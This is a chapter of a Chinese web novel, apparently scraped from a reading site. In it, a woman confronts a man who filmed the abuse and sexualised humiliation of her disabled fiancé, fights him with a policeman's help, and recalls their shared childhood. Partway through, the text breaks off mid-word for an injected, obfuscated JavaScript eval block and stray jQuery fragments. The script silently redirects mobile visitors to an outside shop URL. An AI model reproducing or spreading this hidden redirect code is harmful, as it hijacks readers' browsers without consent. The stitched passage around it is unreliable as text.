原月身体微微一滞,片刻后拿过平板,指尖落下点开播放键。
暧昧的粉光瞬间铺满屏幕。
镜头中,季林狼狈不堪,无助地躺在湿漉漉的浴室地板上,黑发在脏水中和他脸颊上蜿蜒。
他像是被逼到极致,咬紧牙忍着愤怒委屈,眼圈泛红地盯着骑在他身上的霸凌者。
啪,一记耳光声透过扬声器炸响。
原月握着平板的指骨瞬间收紧,骨节皮肤被顶得发白,面上却仍是冷漠平静。
小周的声线比刚才轻浮暧昧,带着熟稔的龌龊,诱导着季林像求欢一样对着镜头喊话。
“姐姐,我心里不舒服,想让你抱抱我。”
“身上湿透了,好难受,想被姐姐捂一捂。”
“我想挨着姐姐,任由姐姐摆弄。你让我软我就软,你让我硬我就硬……”
声线干净,语气懵懂,嘴里却被逼着一遍遍吐出腌臜露骨的讨好话语。
耳光接连落下2次,头被推搡了4次,下巴被掐出了红痕。
原月死死盯着屏幕,直到视频播完,灰蒙蒙的屏幕上倒映出她冷漠木然的脸庞。
她抬起头,看着陆奎轻笑了一下。
“就这?”
陆奎先是一愣,随后乐了,语气里满是戏谑与轻佻。
“怎么?妹妹平时玩得更野?这都是小打小闹,等到了后面,都是定制需求,要看客人的癖好再弄花样。”
原月状若思考片刻,又开口:“还有吗?感觉没什么特色。”
“别提了,傻子纯误事。”陆奎面露不耐,低声抱怨,“才来我这两个半天,凳子都没坐热,到点就惦记着回家陪你吃饭,什么都来不及做呢。”
“真遗憾。”原月自言自语地站起身来。
“遗憾什么,往后咱们慢慢拍呗。”陆奎靠上前,暧昧地用手指勾弄原月的头发,“你想怎么玩,哥哥这边都好说……”
“我遗憾,刚才下手太轻了——”
话音未落,原月抓起桌上的合同猛地扇在了陆奎的脸上!
羞辱感远大过疼痛。陆奎脸上的伪装瞬间被撕破,浑身戾气翻涌,破口大骂:“草你妈,就知道你他妈不老实!”
他抬起一脚就要往原月的小腹踹去!
原月侧身堪堪躲过,刚退到墙边,又被陆奎猛地攥住长卷发往后拽。
“你敢动我吗?又蠢又贱的东西!”原月被制住,脸上依然带着冷嘲。
“他妈的找死!”陆奎气得眼珠都瞪出来,按着原月的头颅狠狠往撞到了墙上!
砰!
沉闷的撞击声响起,原月的头颅垂低,雪白的墙面被蹭出一道刺目的血痕。
她身形晃了一下才站直,嘴唇发着颤,抬手摸了摸额角,满手湿红鲜血。
“呵,我免责了。”
下一秒,她的动作忽然迅速利落起来!
手肘蓄力,狠戾顶向陆奎的肋下,趁他痛叫,她迅速扣住他的手腕反拧,一把抄起起置物架上的茅台酒瓶,论起砸在了陆奎头上!砰!
陆奎踉跄后退,咬紧牙关再要扑上去——
就在混乱的瞬间,哐当!
办公室大门被人一脚狠狠踹开了!
“住手!警察!”
一名身穿深蓝色警服衬衣,眉眼锋利的长腿青年快步冲了进来。
他立刻隔在了陆奎和原月之间。
“不是不让你动手——”何青勐正皱眉冲原月低喊,却愕然瞧见了她左脸的血迹,连忙上前捧着她的脸查看,“没事吧?”
原月挣脱开脸前的手掌,把茅台好好放回去,这才从容回答:“他先动的手,我正当防卫。”
说这,她又用沾血的手扯下胸前的黑色领结,递到何青勐的手里:“都录下来了,你处理吧。”
交代完毕,原月不再多停留,摁着额角的伤,脚步略显虚浮地往外走去。
身后,何青勐和陆奎对峙的声还清晰地飘到她耳朵里……
“辱骂、殴打限制民事行为能力人,合同欺诈,你这是寻衅滋事加故意伤害。你还打人家家属,情节更恶劣了知不知道……”
“你们他妈的和老子玩仙人跳?!”
“嘴巴放干净点,现在就把所有视频删了!别等我提你去局里办!”
走出自建楼,夕阳已然垂落天际。
天空像被泼匀了一层蜂蜜,橘软软的,散发着陈旧浓郁的温暖氛围。
原月静静望着落日片刻,上了何青勐的副驾。
她抽出一张湿巾,翻下车顶的遮阳板化妆镜,一点点擦拭着手上、脸上的血迹。擦到洁白的湿巾上血痕斑斑时,她看到了自己泪湿的眼睛。
好像有谁在她耳边说“和你受一样的伤,你才懂我一直有多担心。”
她垂下视线,掐着自己食指指腹上瓜子大小的一块旧疤陷入回忆。
季林刚被她领下山的时候,也是呆钝的。
他不会说话,也不通人情世故,没有羞耻心,整天穿着她的旧裙子,让人一看就知道这是个好欺负的傻子。
山里的孩子身上总有着浓重的兽类天性,很快就能识别出谁是可以撕咬的对象。
于是,季林就变成了供全村小孩欺负的傻子。
他们用石块砸他,往他身上抹鸡粪,她一会看不住,他们竟然哄他去喝村里过年炸乳扇的滚油。
恶意的孩子许下了诱人的愿望。
他们告诉季林,说喝了这个,你就能变聪明,就不会总是让原月输掉滚洞洞游戏了。
季林傻乎乎的,嘴巴对着铁勺,踮着脚也要去喝……
她着急推开铁勺的时候,滚油似乎从她的指腹钻进了血管,疼痛吞噬了她整个手掌!
她疼得哇哇大哭,季林也抱着她哇哇大哭。
就像他也那么疼一样。
后来,季林聪明了起来。他们在乡下读完小学,去了更远的县城读初高中。
土气,落后,贫穷,一个不知天高地厚,一个内敛安静,两个小小的小孩总是在各种恶意里打滚。
季林温和忍让,她就愈发野蛮。
有人在她领口里倒水,她就抓一把粉笔头塞进别人嘴里。有人撕了季林的作业本,她就把他们的书包通通扔进涮拖把的水桶里。
就这样惹了更多的麻烦。
直到有一次,不知道为谁出头的职高小混混,又抢走了她们的生活费,季林要报警,她偏追过去厮打。
刺向她的匕首,扎在了抱紧他的季林背上。
如果那不是冬天……
她坐在季林的病床前,脑袋里像灌了水泥,沉重地抬不起头。
季林的暗哑忍痛的声音,落在了她的耳边。
“和你受一样伤,你才懂我一直有多担心。”
那一刀,让原月那些迷茫乱撞的痛苦,那些青春蜕变时躁动不安的激素,都变得平静了。
她学会了忍耐和克制,拼命读书,走出了贫瘠的小山村。
在青梅竹马熬过人生近二十年的风雨击打后,在她最应该得到这个世界的奖赏时,在她马上就要变成他的妻子时……她的季林消失了。
今天她又惹事了,她又添了新伤疤,可季林不会来管她了。
空荡荡的心口,比发丝间的流血的伤口还痛。
原月鼻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17744995|209249||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
酸得厉害,未擦净血迹的双手刚捂住脸,眼泪就从她的指缝间溢了出来。
她再也承受不住想念,伏在前方仪表台上,肩背如同受伤小兽一般颤动,压抑地抽噎了起来。
不知过了多久,车门砰一声被打开了。
原月身体一僵,仓促偏头转向窗外,迅速擦拭着自己脸上的湿泪。
何青勐站在车门外,神情局促,进退两难,片刻后才弯腰坐进来,把高大的身体折进驾驶位里。
他沉默地抽了两张纸巾递给原月。
原月接过,说了声谢谢。
“那个……视频我看着删的,回收站和云端也清了。合同是拿粉碎机粉碎的。”何青勐整理着思绪,将方才交涉的情况一一说明。
“我按你的要求说的,说你身份特殊,不想把事情闹大,只做了初步的报案留档。嗯,就是这些。也警告了陆奎,让他以后离你们远点,你……别担心了。”
何青勐说完,忍不住又偷瞄原月。
他和原月是在警局与学校之间的联谊会上认识的,警察配老师嘛,绝配。
他当时就对原月有点兴趣,玩你画我猜赢了后,就故意摸了摸她的头。
可他手还没拿开,原月就自然而然地聊到,这个游戏我和我男朋友玩得更好。
行行行,漂亮、聪明、有男朋友。
骄傲如他,整场联谊再也没理原月。
没想到隔了一年多,原月却找到了他的联系方式,说有事请他帮忙。
她在楼上交涉时,他就在车里监听。
说实话,有点惊到,没想到这么温柔得体的原月老师,这么手狠心野。
再回车里一看,又见她哭得可怜,白嫩嫩的小脸湿湿的……让他心里变得怪怪的。
是后怕了吧。
明明司法上对持证残疾人是很维护的,她报真警一抓一个准。可她不敢闹大,只敢求他来演戏。
到底是个小姑娘。
何青勐的手蠢蠢欲动,又试探着往原月脑袋边伸,可伸了一半又胆怯缩回来,最后只尴尬地抓了抓自己的短头发。
“你头上的伤不能不当回事啊。”他正经安排道,随后系安全带、启动油门,车子发出低沉温润的引擎轻鸣,往前开动,“我先带你去医院,再去局里。”
原月深吸一口气,平复心情开口道:“我回家处理,我未婚夫还在家里等我。”
何青勐在心里撇了下嘴,翻了个白眼,恨很地想。
这个无情的女人……又预判了他的心思!
还好刚才想摸她脑袋的时候忍住了!
车子渐渐驶近和颂小区,原月心头萦绕的悲伤渐渐被担忧取代。
不知道季林怎么样了。
不带他,是因为他太容易坏事。
万一被人发现他没有残疾证,他摁指纹的那些黑心合同都是有效的,那他们两个算是栽在陆奎手里了。
此刻回想起来,季林站在门边,绝望惊恐地望着她离去时的眼神,真是让人心慌……
他应该能老老实实呆在家里吧。
车子停在小区门口,原月匆匆和何青勐告别,快步朝着楼栋走去。刚拐了一个弯,就看到一群人站她家单元楼下指指点点,不停发出奇异的惊叹。
她视线上移的第一秒,整个人就头皮发麻地怔住,四肢僵立不知如何摆动。
蝴蝶。
成百只彩色蝴蝶。
上一秒,还错落攀爬栖息在她家阳台和栅栏上。
下一秒,却如同万花筒中精妙诡艳的彩色幻觉一般,背衬着漫天暖黄夕阳,铺天盖地惊起——
向她振翅而来。